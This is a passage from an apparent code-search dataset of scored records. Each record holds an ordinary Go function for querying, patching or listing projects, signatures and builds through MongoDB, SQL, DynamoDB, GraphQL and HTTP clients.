projectRefPipelineForMatchingTrigger(project string) []bson.M {\n\treturn []bson.M{\n\t\tlookupRepoStep,\n\t\t{\"$match\": bson.M{\n\t\t\t\"$and\": []bson.M{\n\t\t\t\t{\"$or\": []bson.M{\n\t\t\t\t\t{ProjectRefEnabledKey: true},\n\t\t\t\t\t{ProjectRefEnabledKey: bson.M{\"$ne\": false}, bsonutil.GetDottedKeyName(\"repo_ref\", RepoRefEnabledKey): true},\n\t\t\t\t}},\n\t\t\t\t{\"$or\": []bson.M{\n\t\t\t\t\t{\n\t\t\t\t\t\tbsonutil.GetDottedKeyName(projectRefTriggersKey, triggerDefinitionProjectKey): project,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tprojectRefTriggersKey: nil,\n\t\t\t\t\t\tbsonutil.GetDottedKeyName(\"repo_ref\", RepoRefTriggersKey, triggerDefinitionProjectKey): project,\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\t}},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "aeeeaca58c5eaea17de994d7f019d926", "score": "0.4673474", "text": "func (c *FakeProjects) Patch(name string, pt pkg_api.PatchType, data []byte, subresources ...string) (result *api.Project, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(core.NewPatchSubresourceAction(projectsResource, c.ns, name, data, subresources...), &api.Project{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*api.Project), err\n}", "title": "" }, { "docid": "f5ec22546c387af823d5c7ec0c6b4e24", "score": "0.46441644", "text": "func QueryProject(query models.Project) ([]models.Project, error) {\n\to := orm.NewOrm()\n\n\tsql := `select distinct\n\t\tp.project_id, p.owner_id, p.name,p.creation_time, p.public \n\t from project p \n\t\tleft join project_role pr on p.project_id = pr.project_id\n\t left join user_project_role upr on upr.pr_id = pr.pr_id\n\t left join user u on u.user_id = upr.user_id\n\t where p.deleted = 0 `\n\n\tqueryParam := make([]interface{}, 1)\n\n\tif query.Public == 1 {\n\t\tsql += ` and p.public = ?`\n\t\tqueryParam = append(queryParam, query.Public)\n\t} else if isAdmin, _ := IsAdminRole(query.UserID); isAdmin == false {\n\t\tsql += ` and (p.owner_id = ? or u.user_id = ?) `\n\t\tqueryParam = append(queryParam, query.UserID)\n\t\tqueryParam = append(queryParam, query.UserID)\n\t}\n\n\tif query.Name != \"\" {\n\t\tsql += \" and p.name like ? \"\n\t\tqueryParam = append(queryParam, query.Name)\n\t}\n\n\tsql += \" order by p.name \"\n\n\tvar r []models.Project\n\t_, err := o.Raw(sql, queryParam).QueryRows(&r)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn r, nil\n}", "title": "" }, { "docid": "8092e830dec378d7e2c378d3918133d7", "score": "0.4631127", "text": "func UnmarshalProjectConfigPatchRequest(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(ProjectConfigPatchRequest)\n\terr = core.UnmarshalPrimitive(m, \"name\", &obj.Name)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"labels\", &obj.Labels)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"description\", &obj.Description)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"external_resources_account\", &obj.ExternalResourcesAccount)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"locator_id\", &obj.LocatorID)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"input\", &obj.Input, UnmarshalProjectConfigInputVariable)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"setting\", &obj.Setting, UnmarshalProjectConfigSettingCollection)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "124a31e815e46f840aac4da1dbc1d90f", "score": "0.46117115", "text": "func (o *PatchAddonParams) SetProjectID(projectID string) {\n\to.ProjectID = projectID\n}", "title": "" }, { "docid": "5bb20b5f083c2236654ac950fb19a63b", "score": "0.4610112", "text": "func (c *userProjectBindings) Patch(name string, pt types.PatchType, data []byte, subresources ...string) (result *v1.UserProjectBinding, err error) {\n\tresult = &v1.UserProjectBinding{}\n\terr = c.client.Patch(pt).\n\t\tResource(\"userprojectbindings\").\n\t\tSubResource(subresources...).\n\t\tName(name).\n\t\tBody(data).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "d6479088a000e61868ebc21089e39091", "score": "0.46001613", "text": "func (db *ConcreteDatastore) GetCommentsOfProject(ProjectId int64) (model.Comments, error) {\n\tvar (\n\t\terr error\n\t\trows *sqlx.Rows\n\t)\n\n\t// Setting up and executing the request\n\trequest := `SELECT Comment.comment_id, Comment.schedule_id, Comment.comment, Comment.is_important\n\tFROM Comment, Schedule\n\tWHERE Schedule.schedule_id=Comment.schedule_id\n\tAND Schedule.project_id=?\n\t`\n\tif rows, err = db.Queryx(request, ProjectId); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Formatting the data\n\tcommentsList := model.Comments{}\n\tfor rows.Next() {\n\t\tcomment := model.Comment{}\n\t\tif err = rows.StructScan(&comment); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcommentsList = append(commentsList, comment)\n\t}\n\n\tdefer rows.Close()\n\treturn commentsList, nil\n}", "title": "" }, { "docid": "32168697addf47a5a6735b261d85cce5", "score": "0.4575128", "text": "func (o *ListParams) WithProject(project string) *ListParams {\n\to.SetProject(project)\n\treturn o\n}", "title": "" }, { "docid": "6f72759df4800570d3628df13a6ebc6f", "score": "0.45528862", "text": "func Find(query db.Q) ([]Patch, error) {\n\tpatches := []Patch{}\n\terr := db.FindAllQ(Collection, query, &patches)\n\tif adb.ResultsNotFound(err) {\n\t\treturn nil, nil\n\t}\n\treturn patches, err\n}", "title": "" }, { "docid": "842645d44f5cae084d4e2d84739ea731", "score": "0.44993892", "text": "func FindProjectWebhooks(client graphql.Client, input *ProjectWebhookQueryInput) (*ProjectWebhookConnection, error) {\n\tvariables := make(graphql.Variables)\n\tif input != nil {\n\t\tvariables[\"first\"] = input.First\n\t\tvariables[\"last\"] = input.Last\n\t\tvariables[\"before\"] = input.Before\n\t\tvariables[\"after\"] = input.After\n\t\tvariables[\"query\"] = input.Query\n\t\tif input.OrderBy != nil {\n\t\t\tvariables[\"orderBy\"] = *input.OrderBy\n\t\t}\n\t\tif input.Order != nil {\n\t\t\tvariables[\"order\"] = *input.Order\n\t\t}\n\t\tvariables[\"nocache\"] = input.NoCache\n\t}\n\tvar sb strings.Builder\n\tsb.WriteString(\"query GoProjectWebhookQueryMany($first: Int, $last: Int, $before: Cursor, $after: Cursor, $query: QueryInput, $order: SortOrderEnum, $orderBy: WorkProjectWebhookColumnEnum, $nocache: Boolean) {\\n\")\n\tsb.WriteString(\"\\twork {\\n\")\n\tsb.WriteString(\"\\t\\tProjectWebhooks(first: $first last: $last before: $before after: $after query: $query orderBy: $orderBy order: $order nocache: $nocache) {\\n\")\n\tsb.WriteString(\"\\t\\t\\tpageInfo {\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tstartCursor\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tendCursor\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\thasNextPage\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\thasPreviousPage\\n\")\n\tsb.WriteString(\"\\t\\t\\t}\\n\")\n\tsb.WriteString(\"\\t\\t\\tcacheInfo {\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tcached\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tid\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tetag\\n\")\n\tsb.WriteString(\"\\t\\t\\t}\\n\")\n\tsb.WriteString(\"\\t\\t\\ttotalCount\\n\")\n\tsb.WriteString(\"\\t\\t\\tedges {\\n\")\n\tsb.WriteString(\"\\t\\t\\t\\tnode {\\n\")\n\tsb.WriteString(getProjectWebhookQueryFields())\n\tsb.WriteString(\"\\t\\t\\t\\t}\\n\")\n\tsb.WriteString(\"\\t\\t\\t}\\n\")\n\tsb.WriteString(\"\\t\\t}\\n\")\n\tsb.WriteString(\"\\t}\\n\")\n\tsb.WriteString(\"}\\n\")\n\tvar res QueryManyProjectWebhookData\n\tif err := client.Query(sb.String(), variables, &res); err != nil {\n\t\treturn nil, err\n\t}\n\treturn res.Data.Object, nil\n}", "title": "" }, { "docid": "dfc1228792ade15abe0528460cfabbba", "score": "0.44785866", "text": "func (pq *ParticipantQuery) QueryProjects() *ProjectQuery {\n\tquery := &ProjectQuery{config: pq.config}\n\tquery.path = func(ctx context.Context) (fromU *sql.Selector, err error) {\n\t\tif err := pq.prepareQuery(ctx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tselector := pq.sqlQuery()\n\t\tif err := selector.Err(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tstep := sqlgraph.NewStep(\n\t\t\tsqlgraph.From(participant.Table, participant.FieldID, selector),\n\t\t\tsqlgraph.To(project.Table, project.FieldID),\n\t\t\tsqlgraph.Edge(sqlgraph.M2M, true, participant.ProjectsTable, participant.ProjectsPrimaryKey...),\n\t\t)\n\t\tfromU = sqlgraph.SetNeighbors(pq.driver.Dialect(), step)\n\t\treturn fromU, nil\n\t}\n\treturn query\n}", "title": "" }, { "docid": "863551730a147fa77cd1e7875e604d31", "score": "0.44742507", "text": "func (o *AllLookmlTestsParams) WithProjectID(projectID string) *AllLookmlTestsParams {\n\to.SetProjectID(projectID)\n\treturn o\n}", "title": "" }, { "docid": "dc1658d6a8a1d386276f6d8d00dc87c6", "score": "0.44689038", "text": "func (o *PostConditionParams) WithProject(project string) *PostConditionParams {\n\to.SetProject(project)\n\treturn o\n}", "title": "" }, { "docid": "fa7ff4ca3976932c4cb36373d33c2dda", "score": "0.44471863", "text": "func (b *ProjectModels) GetProject(id string) (ProjectAll, error) {\n\tvar result ProjectAll\n\tjoin := fmt.Sprintf(\"join %s on %s.id = %s.project_id \", TblProjectDetail, PROJECT, TblProjectDetail)\n\twhere := fmt.Sprintf(\"%s.id = ?\", PROJECT)\n\tselects := fmt.Sprintf(\"%s.*,%s.*\", PROJECT, TblProjectDetail)\n\n\terr := configs.GetDB.Table(PROJECT).Select(selects).Joins(join).Where(where, id).Find(&result).Error\n\treturn result, err\n}", "title": "" }, { "docid": "bb622012708eaeb6776883e3a3d85f41", "score": "0.44351384", "text": "func (t *Template) QueryProject() *ProjectQuery {\n\treturn (&TemplateClient{config: t.config}).QueryProject(t)\n}", "title": "" }, { "docid": "6066ab9f9e3f92767c5fe93b82e6a0eb", "score": "0.44322616", "text": "func (c *TransferJobsGetCall) ProjectId(projectId string) *TransferJobsGetCall {\n\tc.urlParams_.Set(\"projectId\", projectId)\n\treturn c\n}", "title": "" }, { "docid": "84385d96ac354609d6429934d82b8077", "score": "0.44142798", "text": "func NewProjectWebhookQuery(params ...interface{}) *ProjectWebhookQueryInput {\n\tif len(params)%2 != 0 {\n\t\tpanic(\"incorrect number of arguments passed\")\n\t}\n\tq := &ProjectWebhookQuery{\n\t\tFilters: make([]string, 0),\n\t\tParams: make([]interface{}, 0),\n\t}\n\tfor i := 0; i < len(params); i += 2 {\n\t\tq.Filters = append(q.Filters, params[i].(string))\n\t\tq.Params = append(q.Params, params[i+1])\n\t}\n\treturn &ProjectWebhookQueryInput{\n\t\tQuery: q,\n\t}\n}", "title": "" }, { "docid": "23a5861fb6b2396a58034ade15893e96", "score": "0.44014874", "text": "func (s *service) GetProjectBuilds(project *brigademodel.Project, desc bool) ([]*brigademodel.Build, error) {\n\tpr, err := s.client.GetProject(project.ID)\n\tif err != nil {\n\t\treturn []*brigademodel.Build{}, err\n\t}\n\n\tbuilds, err := s.client.GetProjectBuilds(pr)\n\tif err != nil {\n\t\treturn []*brigademodel.Build{}, err\n\t}\n\n\tres := make([]*brigademodel.Build, len(builds))\n\tfor i, build := range builds {\n\t\tbl := brigademodel.Build(*build)\n\t\tres[i] = &bl\n\t}\n\n\t// TODO: Should we improve the sorting algorithm?\n\t// Make a first sort by ID so in equality of time always is the same order on every case.\n\t// Doesn't matter the order at all is for consistency when start time is the same.\n\tsort.SliceStable(res, func(i, j int) bool {\n\t\treturn res[i].ID < res[j].ID\n\t})\n\n\t// Split phantom jobs and builds.\n\tphantomBs := []*brigademodel.Build{}\n\tgoodBs := []*brigademodel.Build{}\n\tfor _, b := range res {\n\t\tb := b\n\t\tif b.Worker == nil {\n\t\t\tphantomBs = append(phantomBs, b)\n\t\t} else {\n\t\t\tgoodBs = append(goodBs, b)\n\t\t}\n\t}\n\n\t// Order builds in descending order (last ones first).\n\tsort.SliceStable(goodBs, func(i, j int) bool {\n\t\tif desc {\n\t\t\treturn goodBs[i].Worker.StartTime.After(goodBs[j].Worker.StartTime)\n\t\t}\n\t\treturn goodBs[i].Worker.StartTime.Before(goodBs[j].Worker.StartTime)\n\t})\n\n\t// Append phantom to the end.\n\tfor _, pb := range phantomBs {\n\t\tpb := pb\n\t\tgoodBs = append(goodBs, pb)\n\t}\n\n\treturn goodBs, nil\n}", "title": "" }, { "docid": "7a9060f107e72c729fde6d7923cb3580", "score": "0.44014058", "text": "func (o *GetPointsByQueryParams) SetProject(project string) {\n\to.Project = project\n}", "title": "" }, { "docid": "635d84fe099150f7c6e212df89ba22c4", "score": "0.43583375", "text": "func DeleteGroupProjectByProject(db database.Executer, projectID int64) error {\n\tquery := `DELETE FROM project_group WHERE project_id=$1`\n\t_, err := db.Exec(query, projectID)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Update project\n\tquery = `\n\t\tUPDATE project \n\t\tSET last_modified = current_timestamp\n\t\tWHERE id=$1\n\t`\n\t_, err = db.Exec(query, projectID)\n\treturn err\n}", "title": "" }, { "docid": "a963126d4e401980e856b1f94840a2ae", "score": "0.43521497", "text": "func Projects(mods ...qm.QueryMod) projectQuery {\n\tmods = append(mods, qm.From(\"`project`\"))\n\treturn projectQuery{NewQuery(mods...)}\n}", "title": "" }, { "docid": "4ce3fc83b9b113a79fd3547a78b41f75", "score": "0.43434006", "text": "func (repo repository) GetProjectSignatures(ctx context.Context, params signatures.GetProjectSignaturesParams, pageSize int64) (*models.Signatures, error) {\n\tf := logrus.Fields{\n\t\t\"functionName\": \"GetProjectSignatures\",\n\t\t\"tableName\": repo.signatureTableName,\n\t\tutils.XREQUESTID: ctx.Value(utils.XREQUESTID),\n\t\t\"claGroupID\": params.ProjectID,\n\t\t\"signatureType\": aws.StringValue(params.SignatureType),\n\t\t\"searchField\": aws.StringValue(params.SearchField),\n\t\t\"searchTerm\": aws.StringValue(params.SearchTerm),\n\t\t\"fullMatch\": aws.BoolValue(params.FullMatch),\n\t\t\"pageSize\": aws.Int64Value(params.PageSize),\n\t\t\"nextKey\": aws.StringValue(params.NextKey),\n\t\t\"sortOrder\": aws.StringValue(params.SortOrder),\n\t}\n\n\tindexName := SignatureProjectIDIndex\n\tif params.SortOrder != nil && *params.SortOrder != \"\" {\n\t\tindexName = SignatureProjectDateIDIndex\n\t}\n\n\trealPageSize := int64(100)\n\tif params.PageSize != nil && *params.PageSize > 0 {\n\t\trealPageSize = *params.PageSize\n\t}\n\n\t// This is the key we want to match\n\tcondition := expression.Key(\"signature_project_id\").Equal(expression.Value(params.ProjectID))\n\n\tbuilder := expression.NewBuilder().WithProjection(buildProjection())\n\tvar filter expression.ConditionBuilder\n\tvar filterAdded bool\n\n\tif params.ClaType != nil {\n\t\tfilterAdded = true\n\t\tif strings.ToLower(*params.ClaType) == utils.ClaTypeICLA {\n\t\t\tfilter = expression.Name(\"signature_type\").Equal(expression.Value(utils.SignatureTypeCLA)).\n\t\t\t\tAnd(expression.Name(\"signature_reference_type\").Equal(expression.Value(utils.SignatureReferenceTypeUser))).\n\t\t\t\tAnd(expression.Name(\"signature_approved\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_signed\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_user_ccla_company_id\").AttributeNotExists())\n\n\t\t} else if strings.ToLower(*params.ClaType) == utils.ClaTypeECLA {\n\t\t\tfilter = expression.Name(\"signature_type\").Equal(expression.Value(utils.SignatureTypeCLA)).\n\t\t\t\tAnd(expression.Name(\"signature_reference_type\").Equal(expression.Value(utils.SignatureReferenceTypeUser))).\n\t\t\t\tAnd(expression.Name(\"signature_approved\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_signed\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_user_ccla_company_id\").AttributeExists())\n\t\t} else if strings.ToLower(*params.ClaType) == utils.ClaTypeCCLA {\n\t\t\tfilter = expression.Name(\"signature_type\").Equal(expression.Value(utils.SignatureTypeCCLA)).\n\t\t\t\tAnd(expression.Name(\"signature_reference_type\").Equal(expression.Value(utils.SignatureReferenceTypeCompany))).\n\t\t\t\tAnd(expression.Name(\"signature_approved\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_signed\").Equal(expression.Value(aws.Bool(true)))).\n\t\t\t\tAnd(expression.Name(\"signature_user_ccla_company_id\").AttributeNotExists())\n\t\t}\n\t} else {\n\t\tif params.SearchField != nil {\n\t\t\tsearchFieldExpression := expression.Name(\"signature_reference_type\").Equal(expression.Value(params.SearchField))\n\t\t\tfilter = addConditionToFilter(filter, searchFieldExpression, &filterAdded)\n\t\t}\n\n\t\tif params.SignatureType != nil {\n\t\t\tif params.SearchTerm != nil && (params.FullMatch != nil && !*params.FullMatch) {\n\t\t\t\tindexName = SignatureProjectIDTypeIndex\n\t\t\t\tcondition = condition.And(expression.Key(\"signature_type\").Equal(expression.Value(strings.ToLower(*params.SignatureType))))\n\t\t\t} else {\n\t\t\t\tsignatureTypeExpression := expression.Name(\"signature_type\").Equal(expression.Value(params.SignatureType))\n\t\t\t\tfilter = addConditionToFilter(filter, signatureTypeExpression, &filterAdded)\n\t\t\t}\n\t\t\tif *params.SignatureType == \"ccla\" {\n\t\t\t\tsignatureReferenceIDExpression := expression.Name(\"signature_reference_id\").AttributeExists()\n\t\t\t\tsignatureUserCclaCompanyIDExpression := expression.Name(\"signature_user_ccla_company_id\").AttributeNotExists()\n\t\t\t\tfilter = addConditionToFilter(filter, signatureReferenceIDExpression, &filterAdded)\n\t\t\t\tfilter = addConditionToFilter(filter, signatureUserCclaCompanyIDExpression, &filterAdded)\n\t\t\t}\n\t\t}\n\n\t\tif params.SearchTerm != nil {\n\t\t\tif *params.FullMatch {\n\t\t\t\tindexName = SignatureReferenceSearchIndex\n\t\t\t\tcondition = condition.And(expression.Key(\"signature_reference_name_lower\").Equal(expression.Value(strings.ToLower(*params.SearchTerm))))\n\t\t\t} else {\n\t\t\t\tsearchTermExpression := expression.Name(\"signature_reference_name_lower\").Contains(strings.ToLower(*params.SearchTerm))\n\t\t\t\tfilter = addConditionToFilter(filter, searchTermExpression, &filterAdded)\n\t\t\t}\n\t\t}\n\n\t\t// Filter condition to cater for approved and signed signatures\n\t\tsignatureApprovedExpression := expression.Name(\"signature_approved\").Equal(expression.Value(true))\n\t\tfilter = addConditionToFilter(filter, signatureApprovedExpression, &filterAdded)\n\n\t\tsignatureSignedExpression := expression.Name(\"signature_signed\").Equal(expression.Value(true))\n\t\tfilter = addConditionToFilter(filter, signatureSignedExpression, &filterAdded)\n\t}\n\n\tif filterAdded {\n\t\tbuilder = builder.WithFilter(filter)\n\t}\n\tbuilder = builder.WithKeyCondition(condition)\n\n\t// Use the nice builder to create the expression\n\texpr, err := builder.Build()\n\tif err != nil {\n\t\tlog.WithFields(f).Warnf(\"error building expression for project signature query, projectID: %s, error: %v\",\n\t\t\tparams.ProjectID, err)\n\t\treturn nil, err\n\t}\n\n\t// Assemble the query input parameters\n\tqueryInput := &dynamodb.QueryInput{\n\t\tExpressionAttributeNames: expr.Names(),\n\t\tExpressionAttributeValues: expr.Values(),\n\t\tKeyConditionExpression: expr.KeyCondition(),\n\t\tProjectionExpression: expr.Projection(),\n\t\tFilterExpression: expr.Filter(),\n\t\tTableName: aws.String(repo.signatureTableName),\n\t\tLimit: aws.Int64(realPageSize), // The maximum number of items to evaluate (not necessarily the number of matching items)\n\t\tIndexName: aws.String(indexName), // Name of a secondary index to scan\n\t}\n\tf[\"indexName\"] = indexName\n\n\t// If we have the next key, set the exclusive start key value\n\tif params.NextKey != nil {\n\t\tlog.WithFields(f).Debugf(\"received a nextKey, value: %s\", *params.NextKey)\n\t\t// The primary key of the first item that this operation will evaluate.\n\t\t// and the query key (if not the same)\n\t\tqueryInput.ExclusiveStartKey = map[string]*dynamodb.AttributeValue{\n\t\t\t\"signature_id\": {\n\t\t\t\tS: params.NextKey,\n\t\t\t},\n\t\t\t\"signature_project_id\": {\n\t\t\t\tS: &params.ProjectID,\n\t\t\t},\n\t\t}\n\t\tif params.FullMatch != nil && *params.FullMatch && params.SearchTerm != nil {\n\t\t\tqueryInput.ExclusiveStartKey[\"signature_reference_name_lower\"] = &dynamodb.AttributeValue{\n\t\t\t\tS: params.SearchTerm,\n\t\t\t}\n\t\t}\n\t}\n\n\tsigs := make([]*models.Signature, 0)\n\tvar lastEvaluatedKey string\n\n\t// Loop until we have all the records\n\tfor ok := true; ok; ok = lastEvaluatedKey != \"\" {\n\t\t// Make the DynamoDB Query API call\n\t\tlog.WithFields(f).Debugf(\"Running signature project query using queryInput: %+v\", queryInput)\n\t\tresults, errQuery := repo.dynamoDBClient.Query(queryInput)\n\t\tif errQuery != nil {\n\t\t\tlog.WithFields(f).Warnf(\"error retrieving project signature ID for project: %s, error: %v\",\n\t\t\t\tparams.ProjectID, errQuery)\n\t\t\treturn nil, errQuery\n\t\t}\n\n\t\t// Convert the list of DB models to a list of response models\n\t\tsignatureList, modelErr := repo.buildProjectSignatureModels(ctx, results, params.ProjectID, LoadACLDetails)\n\t\tif modelErr != nil {\n\t\t\tlog.WithFields(f).Warnf(\"error converting DB model to response model for signatures with project %s, error: %v\",\n\t\t\t\tparams.ProjectID, modelErr)\n\t\t\treturn nil, modelErr\n\t\t}\n\n\t\t// Add to the signatures response model to the list\n\t\tsigs = append(sigs, signatureList...)\n\n\t\t//log.WithFields(f).Debugf(\"LastEvaluatedKey: %+v\", results.LastEvaluatedKey)\n\t\tif results.LastEvaluatedKey[\"signature_id\"] != nil {\n\t\t\tlastEvaluatedKey = *results.LastEvaluatedKey[\"signature_id\"].S\n\t\t\tqueryInput.ExclusiveStartKey = results.LastEvaluatedKey\n\t\t} else {\n\t\t\tlastEvaluatedKey = \"\"\n\t\t}\n\n\t\tif int64(len(sigs)) >= realPageSize {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// How many total records do we have - may not be up-to-date as this value is updated only periodically\n\tdescribeTableInput := &dynamodb.DescribeTableInput{\n\t\tTableName: &repo.signatureTableName,\n\t}\n\tdescribeTableResult, err := repo.dynamoDBClient.DescribeTable(describeTableInput)\n\tif err != nil {\n\t\tlog.WithFields(f).Warnf(\"error retrieving total record count for project: %s, error: %v\", params.ProjectID, err)\n\t\treturn nil, err\n\t}\n\n\t// Meta-data for the response\n\ttotalCount := *describeTableResult.Table.ItemCount\n\tif int64(len(sigs)) > realPageSize {\n\t\tsigs = sigs[0:realPageSize]\n\t\tlastEvaluatedKey = sigs[realPageSize-1].SignatureID.String()\n\t}\n\n\treturn &models.Signatures{\n\t\tProjectID: params.ProjectID,\n\t\tResultCount: int64(len(sigs)),\n\t\tTotalCount: totalCount,\n\t\tLastKeyScanned: lastEvaluatedKey,\n\t\tSignatures: sigs,\n\t}, nil\n}", "title": "" }, { "docid": "6319f86aa43552c719ab759212348f3f", "score": "0.43247774", "text": "func (pq *ParticipantQuery) WithProjects(opts ...func(*ProjectQuery)) *ParticipantQuery {\n\tquery := &ProjectQuery{config: pq.config}\n\tfor _, opt := range opts {\n\t\topt(query)\n\t}\n\tpq.withProjects = query\n\treturn pq\n}", "title": "" }, { "docid": "8d04d6d4f08c18edb1848ef52af5c31b", "score": "0.42966136", "text": "func (c *DatasetsListCall) ProjectId(projectId string) *DatasetsListCall {\n\tc.urlParams_.Set(\"projectId\", projectId)\n\treturn c\n}", "title": "" }, { "docid": "26829322302586cc19855c499223b8e7", "score": "0.42925578", "text": "func (r *ReportsService) Patch(profileId int64, reportId int64, report *Report) *ReportsPatchCall {\n\tc := &ReportsPatchCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.profileId = profileId\n\tc.reportId = reportId\n\tc.report = report\n\treturn c\n}", "title": "" }, { "docid": "4323475ebfd56acc685bfa8ce549eaff", "score": "0.4292033", "text": "func GetPatchProjectVariantsAndTasksForUI(ctx context.Context, apiPatch *restModel.APIPatch) (*PatchProject, error) {\n\tpatchProjectVariantsAndTasks, err := GetVariantsAndTasksFromProject(ctx, *apiPatch.PatchedConfig, *apiPatch.ProjectId)\n\tif err != nil {\n\t\treturn nil, InternalServerError.Send(ctx, fmt.Sprintf(\"Error getting project variants and tasks for patch %s: %s\", *apiPatch.Id, err.Error()))\n\t}\n\n\t// convert variants to UI data structure\n\tvariants := []*ProjectBuildVariant{}\n\tfor _, buildVariant := range patchProjectVariantsAndTasks.Variants {\n\t\tprojBuildVariant := ProjectBuildVariant{\n\t\t\tName: buildVariant.Name,\n\t\t\tDisplayName: buildVariant.DisplayName,\n\t\t}\n\t\tprojTasks := []string{}\n\t\tfor _, taskUnit := range buildVariant.Tasks {\n\t\t\tprojTasks = append(projTasks, taskUnit.Name)\n\t\t}\n\t\tfor _, displayTask := range buildVariant.DisplayTasks {\n\t\t\tprojTasks = append(projTasks, displayTask.Name)\n\t\t}\n\t\tsort.SliceStable(projTasks, func(i, j int) bool {\n\t\t\treturn projTasks[i] < projTasks[j]\n\t\t})\n\t\tprojBuildVariant.Tasks = projTasks\n\t\tvariants = append(variants, &projBuildVariant)\n\t}\n\tsort.SliceStable(variants, func(i, j int) bool {\n\t\treturn variants[i].DisplayName < variants[j].DisplayName\n\t})\n\n\tpatchProject := PatchProject{\n\t\tVariants: variants,\n\t}\n\treturn &patchProject, nil\n}", "title": "" }, { "docid": "50a3c831816e51dc92f829e890768442", "score": "0.4266337", "text": "func FindProjectRefs(key string, limit int, sortDir int) ([]ProjectRef, error) {\n\tprojectRefs := []ProjectRef{}\n\tfilter := bson.M{}\n\tsortSpec := ProjectRefIdKey\n\n\tif sortDir < 0 {\n\t\tsortSpec = \"-\" + sortSpec\n\t\tfilter[ProjectRefIdKey] = bson.M{\"$lt\": key}\n\t} else {\n\t\tfilter[ProjectRefIdKey] = bson.M{\"$gte\": key}\n\t}\n\n\tq := db.Query(filter).Sort([]string{sortSpec}).Limit(limit)\n\terr := db.FindAllQ(ProjectRefCollection, q, &projectRefs)\n\n\tfor i := range projectRefs {\n\t\tprojectRefs[i].checkDefaultLogger()\n\t}\n\n\treturn projectRefs, err\n}", "title": "" }, { "docid": "6c5c4dbc3b146b146b69da81a6f2e87a", "score": "0.42615804", "text": "func Clientid(v string) predicate.Project {\n\treturn predicate.Project(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldClientid), v))\n\t})\n}", "title": "" }, { "docid": "7d3ed9632194044769ab711d24e9726f", "score": "0.42591798", "text": "func (p Project) FindNeedToUpdateProjectList() (Projects, error) {\n\trows, err := DB.Query(\"SELECT id, name, url, path, after_pull_script, after_deploy_script, rsync_option, create_time, update_time FROM project WHERE update_time >= ?\", time.Now().Unix()-30*60)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar projects Projects\n\tfor rows.Next() {\n\t\tvar project Project\n\n\t\tif err := rows.Scan(&project.ID, &project.Name, &project.URL, &project.Path, &project.AfterPullScript, &project.AfterDeployScript, &project.RsyncOption, &project.CreateTime, &project.UpdateTime); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tprojects = append(projects, project)\n\t}\n\treturn projects, nil\n}", "title": "" }, { "docid": "50c0320a6219dd09b04592645fc15476", "score": "0.4257604", "text": "func (r *ReqGetCommitList) AddProjectID(val interface{}) *ReqGetCommitList {\n\t(*r)[KeyDataID] = fmt.Sprintf(\"%v\", val)\n\treturn r\n}", "title": "" }, { "docid": "be0743ce33859e6a812163d7e616d8b3", "score": "0.42474794", "text": "func NewGetProjectsIdRequest(server string, id string) (*http.Request, error) {\n\tvar err error\n\n\tvar pathParam0 string\n\n\tpathParam0, err = runtime.StyleParam(\"simple\", false, \"id\", id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tqueryUrl, err := url.Parse(server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbasePath := fmt.Sprintf(\"/projects/%s\", pathParam0)\n\tif basePath[0] == '/' {\n\t\tbasePath = basePath[1:]\n\t}\n\n\tqueryUrl, err = queryUrl.Parse(basePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", queryUrl.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn req, nil\n}", "title": "" }, { "docid": "801bdd822a1d486216d681eb36f49481", "score": "0.42429024", "text": "func FindFailedCommitQueuePatchesInTimeRange(projectID string, startTime, endTime time.Time) ([]Patch, error) {\n\tquery := bson.M{\n\t\tProjectKey: projectID,\n\t\tStatusKey: evergreen.PatchFailed,\n\t\tAliasKey: evergreen.CommitQueueAlias,\n\t\t\"$or\": 